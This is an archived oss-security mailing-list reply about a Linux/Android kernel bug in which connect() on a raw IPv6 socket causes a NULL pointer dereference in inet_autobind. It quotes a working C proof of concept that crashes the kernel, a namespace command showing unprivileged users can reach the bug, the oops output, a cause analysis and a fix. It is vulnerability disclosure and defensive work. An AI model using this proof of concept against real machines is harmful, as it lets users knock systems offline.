Openwall GNU/*/Linux - a small security-enhanced Linux distro for servers
[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Date: Wed, 9 Dec 2015 16:37:26 +0100
From: Robert Święcki <robert@...ecki.net>
To: oss-security@...ts.openwall.com
Subject: Re: CVE request - Android kernel - IPv6 connect cause
 a denial of service

This also works under modern Linux kernels - and the SOCK_RAW socket can be
created with namespaces.

$ ~/src/nsjail/nsjail -Mo --user 0 --group 0 --keep_caps --chroot / --
/bin/sh -i
sh-4.3# /home/test/a

[  513.294978] BUG: unable to handle kernel NULL pointer dereference at
      (null)
[  513.294990] IP: [<          (null)>]           (null)
[  513.294995] PGD 70579e067 PUD 70e0f7067 PMD 0
[  513.295001] Oops: 0010 [#2] SMP

Tested with:

$ uname -a
Linux ABC 4.2.0-18-generic #22~14.04.1-Ubuntu SMP Fri Nov 6 22:20:11 UTC
2015 x86_64 x86_64 x86_64 GNU/Linux


2015-12-09 11:15 GMT+01:00 郭永刚 <guoyonggang@....cn>:

>
> POC:
> #include <linux/types.h>
> #include <stdlib.h>
> #include <stdio.h>
> #include <sys/stat.h>
> #include <fcntl.h>
> #include <errno.h>
> #include <pthread.h>
> #include <sys/socket.h>
> #include <sys/un.h>
> #include <netinet/in.h>
> int main(void){
>
>          int socket_fd;
>          struct sockaddr_in addr;
>          addr.sin_port = 0;
>          addr.sin_addr.s_addr = INADDR_ANY;
>          addr.sin_family = 10;
>
>          socket_fd = socket(10,3,0x40000000);
>          connect(socket_fd , &addr,16);
>
>          return 0;
>
> }
>
> Analysis of causes:
> In the file net/ipv4/af_inet.c , It will cause pc is 0x0  , if the
> sk->sk_prot->get_port is NULL.
> static int inet_autobind(struct sock *sk)
> {
>          struct inet_sock *inet;
>          /* We may need to bind the socket. */
>          lock_sock(sk);
>          inet = inet_sk(sk);
>          if (!inet->inet_num) {
>                    if (sk->sk_prot->get_port(sk, 0)) {
>                             release_sock(sk);
>                             return -EAGAIN;
>                    }
>                    inet->inet_sport = htons(inet->inet_num);
>          }
>          release_sock(sk);
>          return 0;
> }
>
> Solution:
>
>          Add check as follow:
>                   if (sk->sk_prot->get_port &&sk->sk_prot->get_port(sk,
> 0)) {
>                             release_sock(sk);
>                             return -EAGAIN;
>                    }
>
>


-- 
Robert Święcki

Powered by blists - more mailing lists

Your e-mail address:

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Powered by Openwall GNU/*/Linux - Powered by OpenVZ